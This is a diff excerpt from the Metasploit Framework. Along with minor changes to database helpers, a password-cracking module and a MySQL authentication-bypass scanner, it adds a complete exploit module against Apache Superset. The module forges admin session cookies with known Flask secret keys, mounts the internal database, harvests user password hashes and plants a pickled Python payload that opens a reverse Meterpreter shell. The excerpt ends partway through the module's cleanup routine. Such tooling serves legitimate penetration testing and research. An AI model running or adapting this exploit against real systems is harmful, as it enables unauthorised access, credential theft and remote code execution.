print "Starting database at #{@db}..."
|
||||
run_cmd("pg_ctl -o \"-p #{@options[:db_port]}\" -D #{@db.shellescape} -l #{@db.shellescape}/log start")
|
||||
sleep(2)
|
||||
if run_cmd("pg_ctl -o \"-p #{@options[:db_port]}\" -D #{@db.shellescape} status") != 0
|
||||
puts 'failed'.red.bold.to_s
|
||||
false
|
||||
else
|
||||
pg_ctl_spawn_cmd = "pg_ctl -o \"-p #{@options[:db_port]}\" -D #{@db.shellescape} -l #{@db.shellescape}/log start &"
|
||||
puts "spawn_cmd: #{pg_ctl_spawn_cmd}" if @options[:debug]
|
||||
pg_ctl_pid = Process.spawn(pg_ctl_spawn_cmd)
|
||||
Process.detach(pg_ctl_pid)
|
||||
is_database_running = retry_until_truthy(timeout: 60) do
|
||||
status == DatabaseStatus::RUNNING
|
||||
end
|
||||
|
||||
if is_database_running
|
||||
puts 'success'.green.bold.to_s
|
||||
true
|
||||
else
|
||||
begin
|
||||
Process.kill(:KILL, pg_ctl_pid)
|
||||
rescue => e
|
||||
puts "Failed to kill pg_ctl_pid=#{pg_ctl_pid} - #{e.class} #{e.message}" if @options[:debug]
|
||||
end
|
||||
puts 'failed'.red.bold.to_s
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
@@ -159,5 +170,33 @@ module MsfdbHelpers
|
||||
def self.requirements
|
||||
%w[psql pg_ctl initdb createdb]
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def retry_until_truthy(timeout:)
|
||||
start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
|
||||
ending_time = start_time + timeout
|
||||
retry_count = 0
|
||||
while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time
|
||||
result = yield
|
||||
return result if result
|
||||
|
||||
retry_count += 1
|
||||
remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
|
||||
break if remaining_time_budget <= 0
|
||||
|
||||
delay = 2**retry_count
|
||||
if delay >= remaining_time_budget
|
||||
delay = remaining_time_budget
|
||||
puts("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}") if @options[:debug]
|
||||
else
|
||||
puts("Sleeping for #{delay} seconds before attempting again") if @options[:debug]
|
||||
end
|
||||
|
||||
sleep delay
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -16,6 +16,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
Atlassian uses PBKDF2-HMAC-SHA1 which is 12001 in hashcat.
|
||||
PHPass uses phpass which is 400 in hashcat.
|
||||
Mediawiki is MD5 based and is 3711 in hashcat.
|
||||
Apache Superset, some Flask and Werkzeug apps is pbkdf2-sha256 and is 10900 in hashcat
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
@@ -35,6 +36,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
OptBool.new('ATLASSIAN',[false, 'Include Atlassian hashes', true]),
|
||||
OptBool.new('MEDIAWIKI',[false, 'Include MediaWiki hashes', true]),
|
||||
OptBool.new('PHPASS',[false, 'Include Wordpress/PHPass, Joomla, phpBB3 hashes', true]),
|
||||
OptBool.new('PBKDF2',[false, 'Apache Superset, some Flask and Werkzeug apps hashes', true]),
|
||||
OptBool.new('INCREMENTAL',[false, 'Run in incremental mode', true]),
|
||||
OptBool.new('WORDLIST',[false, 'Run in wordlist mode', true])
|
||||
]
|
||||
@@ -113,6 +115,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
hashes_regex = []
|
||||
hashes_regex << 'PBKDF2-HMAC-SHA1' if datastore['ATLASSIAN']
|
||||
hashes_regex << 'phpass' if datastore['PHPASS']
|
||||
hashes_regex << 'pbkdf2-sha256' if datastore['PBKDF2']
|
||||
hashes_regex << 'mediawiki' if datastore['MEDIAWIKI']
|
||||
|
||||
# array of arrays for cracked passwords.
|
||||
|
||||
@@ -36,7 +36,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'RelatedModules' => ['exploit/linux/http/apache_superset_cookie_sig_rce']
|
||||
},
|
||||
'DisclosureDate' => '2023-04-25'
|
||||
)
|
||||
|
||||
@@ -61,8 +61,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
begin
|
||||
socket = connect(false)
|
||||
close_required = true
|
||||
mysql_client = ::Mysql.connect(rhost, username, password, nil, rport, io: socket)
|
||||
results << mysql_client
|
||||
close_required = false
|
||||
|
||||
print_good "#{rhost}:#{rport} The server accepted our first login as #{username} with a bad password. URI: mysql://#{username}:#{password}@#{rhost}:#{rport}"
|
||||
|
||||
@@ -76,6 +78,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
rescue ::Exception => e
|
||||
print_error "#{rhost}:#{rport} Error: #{e}"
|
||||
return
|
||||
ensure
|
||||
socket.close if socket && close_required
|
||||
end
|
||||
|
||||
# Short circuit if we already won
|
||||
@@ -112,14 +116,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||
t = Thread.new(item) do |count|
|
||||
begin
|
||||
# Create our socket and make the connection
|
||||
close_required = true
|
||||
s = connect(false)
|
||||
mysql_client = ::Mysql.connect(rhost, username, password, nil, rport, io: s)
|
||||
|
||||
print_good "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts. URI: mysql://#{username}:#{password}@#{rhost}:#{rport}"
|
||||
results << mysql_client
|
||||
close_required = false
|
||||
rescue ::Mysql::AccessDeniedError
|
||||
rescue ::Exception => e
|
||||
print_bad "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
|
||||
ensure
|
||||
s.close if socket && close_required
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,629 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Apache Superset Signed Cookie RCE',
|
||||
'Description' => %q{
|
||||
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
|
||||
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
|
||||
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the
|
||||
Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be
|
||||
set for that dashboard within Superset's database which will trigger the RCE.
|
||||
|
||||
An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die', # MSF module
|
||||
'paradoxis', # original flask-unsign tool
|
||||
'Spencer McIntyre', # MSF flask-unsign library
|
||||
'Naveen Sunkavally' # horizon3.ai writeup and cve discovery
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://github.com/Paradoxis/Flask-Unsign'],
|
||||
['URL', 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/'],
|
||||
['URL', 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/'],
|
||||
['URL', 'https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/'],
|
||||
['URL', 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py'],
|
||||
['EDB', '51447'],
|
||||
['CVE', '2023-27524'], # flask cookie
|
||||
['CVE', '2023-37941'], # rce
|
||||
['CVE', '2023-39265'] # mount superset's internal database
|
||||
],
|
||||
'Platform' => ['python'],
|
||||
'Privileged' => false,
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Targets' => [
|
||||
[ 'Automatic Target', {}]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
|
||||
},
|
||||
'DisclosureDate' => '2023-09-06',
|
||||
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [CONFIG_CHANGES],
|
||||
'RelatedModules' => ['auxiliary/gather/apache_superset_cookie_sig_priv_esc']
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8088),
|
||||
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
|
||||
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
|
||||
OptInt.new('ADMIN_ID', [true, 'The ID of an admin account', 1]),
|
||||
OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/']),
|
||||
OptPath.new('SECRET_KEYS_FILE', [
|
||||
false, 'File containing secret keys to try, one per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'superset_secret_keys.txt')
|
||||
]),
|
||||
OptString.new('DATABASE', [true, 'The superset database location', '/app/superset_home/superset.db'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi!({
|
||||
'uri' => normalize_uri(target_uri.path, 'login/')
|
||||
})
|
||||
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
return Exploit::CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
|
||||
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string'
|
||||
unless res.body =~ /"version_string": "([\d.]+)"/
|
||||
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string")
|
||||
end
|
||||
|
||||
version = Rex::Version.new(Regexp.last_match(1))
|
||||
if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1')
|
||||
Exploit::CheckCode::Appears("Apache Supset #{version} is vulnerable")
|
||||
else
|
||||
Exploit::CheckCode::Safe("Apache Supset #{version} is NOT vulnerable")
|
||||
end
|
||||
end
|
||||
|
||||
def get_secret_key(cookie)
|
||||
File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|
|
||||
secret = secret.strip
|
||||
vprint_status("#{peer} - Checking secret key: #{secret}")
|
||||
|
||||
unescaped_secret = Rex::Text.dehex(secret.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t"))
|
||||
unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret)
|
||||
vprint_bad("#{peer} - Incorrect secret key: #{secret}")
|
||||
next
|
||||
end
|
||||
|
||||
print_good("#{peer} - Found secret key: #{secret}")
|
||||
return secret
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def validate_cookie(decoded_cookie, secret_key)
|
||||
print_status("#{peer} - Attempting to resign with key: #{secret_key}")
|
||||
encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret_key)
|
||||
|
||||
print_status("#{peer} - New signed cookie: #{encoded_cookie}")
|
||||
cookie_jar.clear
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'),
|
||||
'cookie' => "session=#{encoded_cookie};",
|
||||
'keep_cookies' => true
|
||||
)
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
if res.code == 401
|
||||
print_bad("#{peer} - Cookie not accepted")
|
||||
return nil
|
||||
end
|
||||
data = res.get_json_document
|
||||
print_good("#{peer} - Cookie validated to user: #{data['result']['username']}")
|
||||
return encoded_cookie
|
||||
end
|
||||
|
||||
def get_csrf_token
|
||||
vprint_status('Grabbing CSRF token')
|
||||
res = send_request_cgi!({
|
||||
'uri' => normalize_uri(target_uri.path, 'login/'),
|
||||
'keep_cookies' => true
|
||||
})
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
|
||||
|
||||
fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name="csrf_token" type="hidden" value="([\w.-]+)">/
|
||||
|
||||
@csrf_token = Regexp.last_match(1)
|
||||
vprint_status("#{peer} - CSRF Token: #{@csrf_token}")
|
||||
end
|
||||
|
||||
def login_and_priv_esc
|
||||
get_csrf_token
|
||||
|
||||
print_status("#{peer} - Attempting login")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'login/'),
|
||||
'keep_cookies' => true,
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' => {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'csrf_token' => @csrf_token
|
||||
}
|
||||
})
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In'
|
||||
|
||||
cookie = res.get_cookies.to_s
|
||||
print_good("#{peer} - Logged in Cookie: #{cookie}")
|
||||
|
||||
# get the cookie value and strip off anything else
|
||||
cookie = cookie.split('=')[1].gsub(';', '')
|
||||
|
||||
secret_key = get_secret_key(cookie)
|
||||
fail_with(Failure::NotFound, 'Unable to find secret key') if secret_key.nil?
|
||||
|
||||
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)
|
||||
decoded_cookie['user_id'] = datastore['ADMIN_ID']
|
||||
print_status("#{peer} - Modified cookie: #{decoded_cookie}")
|
||||
@admin_cookie = validate_cookie(decoded_cookie, secret_key)
|
||||
fail_with(Failure::NoAccess, "#{peer} - Unable to sign cookie with a valid secret") if @admin_cookie.nil?
|
||||
end
|
||||
|
||||
def set_query_latest_query_id
|
||||
vprint_status('Setting latest query id')
|
||||
@client_id = Rex::Text.rand_text_alphanumeric(8, 12)
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part('"' + @client_id + '"', nil, nil, 'form-data; name="latest_query_id"')
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id),
|
||||
'keep_cookies' => true,
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'method' => 'PUT',
|
||||
'data' => data.to_s,
|
||||
'headers' => {
|
||||
'Accept' => 'application/json',
|
||||
'X-CSRFToken' => @csrf_token
|
||||
}
|
||||
)
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
|
||||
end
|
||||
|
||||
def transform_hash(hash)
|
||||
# Some background on transforming this hash:
|
||||
# If we use python hashlib to generate the hash, it matches
|
||||
# example output for password 'admin': $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5
|
||||
# hashlib: >>> pbkdf2_hmac('sha256', b'admin', b'CXsb59tSLZm9ABBN', our_app_iters).hex()
|
||||
# 'b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5'
|
||||
# however, JTR doesn't like this: No password hashes loaded (see FAQ)
|
||||
# hashid also doesn't: [+] Unknown hash
|
||||
|
||||
# the basis of this is the hex() makes it 64 characters, and we need 43 characters to be a real hash
|
||||
# https://hashcat.net/forum/thread-7715.html is the same issue
|
||||
# the solution is to take the value, unhex it, base64 it, remove =, and sub '+' for '.'. This is the same for the salt, except for unhex.
|
||||
|
||||
# example output: $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5
|
||||
# needs transform to: $pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU
|
||||
|
||||
# to get there: salt: base64, remove =, sub '+' for '.'
|
||||
# python code: base64.b64encode(b'CXsb59tSLZm9ABBN').decode('utf8').replace('=','').replace('+','.')
|
||||
# python output: Q1hzYjU5dFNMWm05QUJCTg
|
||||
|
||||
# to get there: hash: unhex, base64, remove =, sub '+' for '.'
|
||||
# python code: base64.b64encode(binascii.unhexlify(b'b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5')).decode('utf8').replace('=','').replace('+','.')
|
||||
# python output: s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU
|
||||
header = hash.split('$')[0] # contains algorithm, iterations
|
||||
header = header.sub('pbkdf2:sha256:', '$pbkdf2-sha256$')
|
||||
salt = hash.split('$')[1]
|
||||
salt = Base64.strict_encode64(salt).delete('=').tr('+', '.')
|
||||
hash = hash.split('$')[2]
|
||||
hash = Base64.strict_encode64([hash].pack('H*')).delete('=').tr('+', '.')
|
||||
jtr_password = [header, salt, hash].join('$')
|
||||
jtr_password
|
||||
end
|
||||
|
||||
def mount_internal_database
|
||||
# use cve-2023-39265 bypass to mount superset's internal sqlite db
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database/'),
|
||||
'method' => 'POST',
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'keep_cookies' => true,
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'Accept' => 'application/json',
|
||||
'X-CSRFToken' => @csrf_token
|
||||
},
|
||||
'data' => {
|
||||
'engine' => 'sqlite',
|
||||
'configuration_method' => 'sqlalchemy_form',
|
||||
'catalog' => [{ 'name' => '', 'value' => '' }],
|
||||
'sqlalchemy_uri' => "sqlite+pysqlite:///#{datastore['DATABASE']}",
|
||||
'expose_in_sqllab' => true,
|
||||
'database_name' => Rex::Text.rand_text_alphanumeric(6, 12),
|
||||
'allow_ctas' => true,
|
||||
'allow_cvas' => true,
|
||||
'allow_dml' => true,
|
||||
'allow_multi_schema_metadata_fetch' => true,
|
||||
'extra_json' => {
|
||||
'cost_estimate_enabled' => true,
|
||||
'allows_virtual_table_explore' => true
|
||||
},
|
||||
'extra' => {
|
||||
'cost_estimate_enabled' => true,
|
||||
'allows_virtual_table_explore' => true,
|
||||
'metadata_params' => {},
|
||||
'engine_params' => {},
|
||||
'schemas_allowed_for_file_upload' => []
|
||||
}.to_json
|
||||
}.to_json
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to mount the internal database: #{datastore['DATABASE']}") if res.code == 422
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 201
|
||||
|
||||
j = res.get_json_document
|
||||
@db_id = j['id']
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find 'id' field in response data: #{j}") if @db_id.nil?
|
||||
print_good("Successfully created db mapping with id: #{@db_id}")
|
||||
|
||||
# create new query tab
|
||||
vprint_status('Creating new sqllab tab')
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part('{"title":"' + Rex::Text.rand_text_alphanumeric(6, 12) + '","dbId":' + @db_id.to_s + ',"schema":null,"autorun":false,"sql":"SELECT ...","queryLimit":1000}', nil, nil, 'form-data; name="queryEditor"')
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'tabstateview/'),
|
||||
'method' => 'POST',
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'keep_cookies' => true,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'headers' => {
|
||||
'Accept' => 'application/json',
|
||||
'X-CSRFToken' => @csrf_token
|
||||
},
|
||||
'data' => data.to_s
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
|
||||
|
||||
j = res.get_json_document
|
||||
@tab_id = j['id']
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find 'id' field in response data: #{j}") if @tab_id.nil?
|
||||
print_good("Using tab: #{@tab_id}")
|
||||
|
||||
# tell it we're about to submit a new query
|
||||
set_query_latest_query_id
|
||||
|
||||
# harvest creds
|
||||
vprint_status('Harvesting superset user creds')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),
|
||||
'method' => 'POST',
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'keep_cookies' => true,
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'Accept' => 'application/json',
|
||||
'X-CSRFToken' => @csrf_token
|
||||
},
|
||||
'data' => {
|
||||
'client_id' => @client_id,
|
||||
'database_id' => @db_id,
|
||||
'json' => true,
|
||||
'runAsync' => false,
|
||||
'schema' => 'main',
|
||||
'sql' => 'SELECT username,password from ab_user;',
|
||||
'sql_editor_id' => '1',
|
||||
'tab' => 'Untitled Query 1',
|
||||
'tmp_table_name' => '',
|
||||
'select_as_cta' => false,
|
||||
'ctas_method' => 'TABLE',
|
||||
'queryLimit' => 1000,
|
||||
'expand_data' => true
|
||||
}.to_json
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
|
||||
|
||||
creds_table = Rex::Text::Table.new(
|
||||
'Header' => 'Superset Creds',
|
||||
'Indent' => 2,
|
||||
'Columns' =>
|
||||
[
|
||||
'Username',
|
||||
'Password'
|
||||
]
|
||||
)
|
||||
|
||||
j = res.get_json_document
|
||||
j['data'].each do |cred|
|
||||
jtr_password = transform_hash(cred['password'])
|
||||
creds_table << [cred['username'], jtr_password]
|
||||
|
||||
create_credential({
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: cred['username'],
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: Metasploit::Framework::Hashes.identify_hash(jtr_password),
|
||||
private_data: jtr_password,
|
||||
service_name: 'Apache Superset',
|
||||
address: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
protocol: 'tcp',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
})
|
||||
end
|
||||
|
||||
print_good(creds_table.to_s)
|
||||
end
|
||||
|
||||
def rce_implant
|
||||
# create new dashboard
|
||||
vprint_status('Creating new dashboard')
|
||||
res = send_request_cgi(
|
||||
'keep_cookies' => true,
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'uri' => normalize_uri(target_uri.path, 'dashboard', 'new/')
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302
|
||||
|
||||
res.headers['location'] =~ %r{dashboard/(\d+)/}
|
||||
@dashboard_id = Regexp.last_match(1)
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to detect dashboard ID from location header: #{res.headers['location']}") if @dashboard_id.nil?
|
||||
print_good("New Dashboard id: #{@dashboard_id}")
|
||||
|
||||
# get permalink so we can trigger it later for payload execution
|
||||
vprint_status('Grabbing permalink to new dashboard to trigger payload later')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'dashboard', @dashboard_id, 'permalink'),
|
||||
'method' => 'POST',
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'keep_cookies' => true,
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'Accept' => 'application/json',
|
||||
'X-CSRFToken' => @csrf_token
|
||||
},
|
||||
'data' => {
|
||||
filterState: {},
|
||||
urlParams: []
|
||||
}.to_json
|
||||
)
|
||||
permalink_key = res.get_json_document['key']
|
||||
print_good("Dashboard permalink key: #{permalink_key}")
|
||||
|
||||
# grab the default values so we can unset them later
|
||||
vprint_status('Grabbing values to reset later')
|
||||
set_query_latest_query_id
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),
|
||||
'method' => 'POST',
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'keep_cookies' => true,
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'Accept' => 'application/json',
|
||||
'X-CSRFToken' => @csrf_token
|
||||
},
|
||||
'data' => {
|
||||
'client_id' => @client_id,
|
||||
'database_id' => @db_id,
|
||||
'json' => true,
|
||||
'runAsync' => false,
|
||||
'schema' => 'main',
|
||||
'sql' => "SELECT id,value from key_value where resource='dashboard_permalink';",
|
||||
'sql_editor_id' => '1',
|
||||
'tab' => 'Untitled Query 1',
|
||||
'tmp_table_name' => '',
|
||||
'select_as_cta' => false,
|
||||
'ctas_method' => 'TABLE',
|
||||
'queryLimit' => 1000,
|
||||
'expand_data' => true
|
||||
}.to_json
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
|
||||
|
||||
# in the GUI we would get [bytes] (even in the JSON response) so this isn't very convenient. We can use the CSV
|
||||
# output to grab the correct values.
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'superset', 'csv', @client_id),
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'keep_cookies' => true
|
||||
)
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
|
||||
|
||||
@values_to_reset = CSV.parse(res.body)
|
||||
|
||||
# tell it we're about to submit a new query
|
||||
set_query_latest_query_id
|
||||
|
||||
pickled = Rex::Text.to_hex(Msf::Util::PythonDeserialization.payload(:py3_exec, payload.encoded))
|
||||
pickled = pickled.gsub('\x', '') # we only need a beginning \x not every character for this format
|
||||
|
||||
vprint_status('Uploading payload')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),
|
||||
'method' => 'POST',
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'keep_cookies' => true,
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'Accept' => 'application/json',
|
||||
'X-CSRFToken' => @csrf_token
|
||||
},
|
||||
'data' => {
|
||||
'client_id' => @client_id,
|
||||
'database_id' => @db_id,
|
||||
'json' => true,
|
||||
'runAsync' => false,
|
||||
'schema' => 'main',
|
||||
'sql' => "UPDATE key_value set value=X'#{pickled}' where resource='dashboard_permalink';", # the dashboard ID doesn't necessarily correspond to the ID in this table, so we just have to overwrite them all
|
||||
'sql_editor_id' => '1',
|
||||
'tab' => 'Untitled Query 1',
|
||||
'tmp_table_name' => '',
|
||||
'select_as_cta' => false,
|
||||
'ctas_method' => 'TABLE',
|
||||
'queryLimit' => 1000,
|
||||
'expand_data' => true
|
||||
}.to_json
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
|
||||
|
||||
print_status('Triggering payload')
|
||||
res = send_request_cgi(
|
||||
'keep_cookies' => true,
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'uri' => normalize_uri(target_uri.path, 'superset', 'dashboard', 'p', permalink_key, '/')
|
||||
)
|
||||
# we go through some permalink hell here
|
||||
until res.nil? || res.headers['Location'].nil?
|
||||
res = send_request_cgi(
|
||||
'keep_cookies' => true,
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'uri' => res.headers['Location']
|
||||
)
|
||||
end
|
||||
|
||||
# 404 error and we win.
|
||||
# log item: 172.17.0.1 - - [14/Sep/2023:17:37:25 +0000] "GET /superset/dashboard/p/MzABePa5XYd/ HTTP/1.1" 404 38 "-" "Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1"
|
||||
end
|
||||
|
||||
def exploit
|
||||
@db_id = nil
|
||||
@csrf_token = nil
|
||||
@tab_id = nil
|
||||
@dashboard_id = nil
|
||||
vprint_status('Attempting login')
|
||||
login_and_priv_esc
|
||||
vprint_status('Attempting to pull user creds from db')
|
||||
mount_internal_database
|
||||
vprint_status('Attempting RCE')
|
||||
rce_implant
|
||||
end
|
||||
|
||||
def cleanup
|
||||
super
|
||||
|
||||
# We didn't know the previous values, so just blank out XXX
|
||||
unless (@client_id.nil? || @csrf_token.nil? || @db_id.nil? || @values_to_reset.nil?)
|
||||
print_status('Unsetting RCE Payloads')
|
||||
@values_to_reset.each do |row|
|
||||
next if row[0] == 'id' # headers
|
||||
|
||||
vprint_status("Restoring row ID #{row[0]}")
|
||||
|
||||
set_query_latest_query_id
|
||||
is_binary = false
|
||||
if (row[1].starts_with?("b'") && row[1].ends_with?("'"))
|
||||
row[1] = row[1][2..-2] # remove encoding and substring marks
|
||||
row[1] = Rex::Text.to_hex(row[1])
|
||||
